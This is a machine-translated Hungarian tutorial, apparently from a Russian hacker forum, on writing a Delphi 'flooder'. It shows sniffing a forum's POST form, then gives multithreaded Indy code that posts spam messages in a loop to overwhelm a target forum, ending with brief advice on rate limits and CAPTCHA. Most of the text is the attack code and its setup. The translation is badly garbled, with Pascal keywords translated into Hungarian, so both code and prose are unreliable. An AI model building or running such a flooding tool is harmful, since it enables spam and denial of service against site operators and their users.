Írás Fluder
Oké, elég ápolónő oldódik fel, itt az ideje dolgozni. Tehát a mi Fluder közzétesszük az online az elkövető egy csomó üzenetet, mint például az oktatási miniszter - ***. Vagy inkább megteremti a kupac megfelelő felirattal. Fluder fogja írni Delphi, segítségével az Indy, tudom WinSock meredekebb, de valamilyen oknál fogva, akkor írj Flenovo postázó összetevőket és nem tudok Fluder? (Ki olvas Delphi szem] [Acker, meg fogja érteni engem).
Most két változatban az események.
1. lehetőség rakjuk HTTP szippantás. Például a fúvókát az IE, akkor segít a Google és a saját agyát.
2. túl lusta voltam letölteni szippantás, és ragyog a fórumon nem akar =). Ezen az oldalon én megtartottam a csavar indított Denver, létrehozott egy virtuális gép, és belökte az oldalt ott. Ezután ugyanabban a könyvtárban, mint a mentett oldalt hozta létre egy fájlt
proba.php (lásd miért később). Továbbá az opera nyitotta sortsy oldalt, és elindította a keresést a következő kifejezést :? / Obr / forum / action = forum_add_messageforum_id = 30- olyan módon, hogy karcolás, amely felelős létrehozása témák és megváltoztatta a /proba.php (úgy, hogy ezért én találtam ezt a titokzatos = )). Tehát most én találtam proba.php tettem be az alábbi kódot:
ez a dolog egyszerűen megjeleníti mindazt, jött egy POST kérés =). Aztán kinyitotta az opera újonnan létrehozott oldalt, töltse ki az űrlapot, és látni, hogy a szerver át a következő:
mes_author_name = vovchik // nicknév
mes_author_mail=*****@***.ru // meghatározott Myl'nikov
user_login = // felhasználónév (üresen hagyható)
user_password = // jelszót (üresen hagyható)
mes_subject = használja a kemence // téma
mes_text = ***** // Message
Általában minden világos a jelenlegi kell tennie, ugyanaz a dolog, de a segítségével a Delphi. Tehát, fogunk létrehozni n-edik szálak száma (minden szál Delphi egy objektum, és ez nagyban segíteni). Minden szál „bomba” a honlapunkon az üzeneteket. Képzeld van egy kimenő csatorna formájában GPRS és a szálak száma egy programban 50 darab maradt 2 üzenet másodpercenként! Még jó, hogy megállt az időben! Szóval, most lássuk, hogyan kell szántani a „csoda”. Erre a tekercs alkotnak TIdHTTP alkatrész lap Indy ügyfelek. Tudnunk kell, hogy mely fájlokat kell csatlakoztatni a projekthez. Tehát most, hogy hozzon létre egy új szál (File-> New-> Egyéb-> Menet Object). Most mentse el a projekt jelenleg a csavart (ez egy nem kötelező lépés). Tehát most láthatjuk a falon fájl a blokk? Másolás fő formája (ezért dobtunk szükségtelen alkatrészt a formában), mindent egy fájlt ugyanabban a blokkban, amely leírja. Tehát most nézd meg az áramlás az osztály leírása, akkor valami hasonló:
típus
TFluder = osztály (TThread)
magán
védett
eljárás végrehajtása; felülbírálhatja;
végén;
változott:
típus
Fluder = osztály (TThread)
IdHTTP1: TIdHTTP;
IdCookieManager1: TIdCookieManager;
eljárás IdHTTP1Redirect (Sender: TObject; var dest: String;
var NumRedirect: integer; var Kezelni: Boolean;
var VMethod: TIdHTTPMethod);
magán
védett
eljárás végrehajtása; felülbírálhatja;
végén;
(Csak ne felejtsük el, hogy a nevét a patak akkor van egy!)
Továbbhaladva a Ctrl + Shift + C, és hogy ezt itt „üres” események átirányítása hasznos nekünk:
eljárás Fluder.IdHTTP1Redirect (Sender: TObject; var dest: String;
var NumRedirect: integer; var Kezelni: Boolean;
var VMethod: TIdHTTPMethod);
kezdődik
Kezelni: = true;
végén;
Honnan tudtad, hogy meg kell befejezni a munkadarab aktuális egy sort:
Kezelni: = true; meg kell, hogy miután megkaptuk az átirányítást a szerver kezelték rendesen =).
Továbbá van egy eljárás eljárás Fluder.Execute; Ez az eljárás, amely indul a végrehajtás a mi áramlását. Itt fogunk „bomba” a szerveren. De mielőtt ez az elmélet!
Tehát, alkatrész TIdHTTP mi nem a forma, és ezért nem lehet automatikusan létre lesz létre kell hozni egy „kézzel”, valamint a rendszeres objektumot. De az értelemben, hogy nem elég, akkor van, hogy valami mást, hogy adja át, erre azt a két módszer működik Post (AURL: string; const ASource: TStrings): string;
és a funkció TIdCustomHTTP.Get (AURL: string): string;
Az első két paraméter, és a második jelenlegi. Mindketten visszatér, hogy adott nekünk vissza a szerver kérés után. Ha a GET metódus, minden világos, minden adatátvitel útján egyetlen paraméter, akkor a POST módszer szükséges magyarázatokat, a második paraméter szükséges, hogy az adatok továbbítására keresztül POST kérést, és meg kell tárolni TStrings tárgy vagy annak leszármazottai (TStringList). Azt hiszem, minden világos, és kifejtette, hogy abban a csatában, barátom. Most eljárás végrehajtását teszik biztonságosan fel a következő kódot:
eljárás Fluder.Execute;
var
txt: TStringList;
kezdődik
IdHTTP1: = TIdHTTP.Create (nulla); // Ez a mi HTTP kliens
IdCookieManager1: = TIdCookieManager.Create (nulla); // Kukov vezetője, néha szüksége van rá
TXT: = TStringList.Create; // Lesz egy POST kérés
while (Lezárt = False) do // főhurok sobsna
kezdődik
txt.add ( 'mes_author_name =' + NameStr); // változók
txt.Add ( 'mes_author_mail =' + MailStr);
txt.Add ( 'user_login =');
txt.Add ( 'user_password =');
txt.Add ( 'mes_subject =' + TemaStr);
txt.Add ( 'mes_text =' + TextStr);
Most már majdnem kész, már csak be kell dobni egy gombot az űrlapot, és tegye be az alábbi kódot:
eljárás TForm1.Button1Click (Sender: TObject);
var
i: integer; // számláló
Cout: integer; // A szálak száma
kezdődik
megpróbál
Cout: = StrToInt (Edit1.Text); // megpróbálják kideríteni a szálak számának szerkesztése és
kivéve
ShowMessage (input igaz! „);
exit;
végén;
NameStr: = NickEdit.Text; // Azt hiszem, megértjük, hogy minden változót veszem származó Editov
MailStr: = MailEdit.Text;
TemaStr: = TemaEdit.Text;
TextStr: = MessEdit.Text;
SetLength (Potoks, Cout); // módosítása a hossza egy sor mutató
i: = 0 Cout-1 do // aktiválja árvíz
kezdődik
Potoks [i]: = Fluder.Create (true);
Potoks [i] .Resume;
Potoks [i] .Priority: = tpLower;
végén;
végén;
akkor automatikusan létrejön egy bizonyos számú hullámok és hiryachim saját honlapján ellenség!
Add hozzá a globális változók fordítás előtt ez:
var
Form1: TForm1;
Potoks: tömb Fluder; // tömb mutatókat folyamok
NameStr, MailStr, TemaStr, TextStr: string; // karakterláncot, amely tárolja változók // a szerver, kiveszem az Editov
Azt hiszem, meg fogja érteni magát körül, ha az aktuális belegondolok, ez persze nem tökéletes módszer, és ez alkalmas csak egy bizonyos számú fórum motorok, de ez jó!
Tanulság: Ne feledje, árvíz - nem humánus! és ez nem szép meg kell tanulni védekezni ellene! de nem több, mint, hogy én semmilyen módon nem szeretnénk bátorítani, cselekedni, csak szeretnék rámutatni nem a tökéletesség az egyes oldalakon.
Elgondolkodtató: Tehát miért írhattam Fluder olyan gyorsan? Oka ennek természetesen rendszergazda portál, a hasonlóság a fórum, hogy a rendszergazda bekapcsolta, nincs semmilyen akadály az ilyen fluderastov I =). A jogot, hogy tegye a fórumon kell korlátozni a regisztrált felhasználók! és a motor nem több mint 2-3 üzenetek percenként ugyanazt a felhasználói, a személy fizikailag nem képes írni több hozzászólás! Amikor a felhasználó bejelentkezik, hogy a CAPTCHA, ez persze nem túl megbízható, de megvédi a legtöbb ilyen „támadások”. Általában nem ilyen hibákat.
Happy End. FTC. még mindig eltörölte a vizsgát egy liter most megy, hogy ez a hagyományos módon, és ez jó, hogy nem volt ideje arra, hogy más célra Fluder! (Ez csak egy kicsit =)).
Néhány szó Moderátor:
Elnézést kérek előre irányuló orosz nyelv, megemlítettem trojka, soha nem volt, és az összes vezérlési nyilvánvalóan másolt osztálytársak, annyira sajnálom ...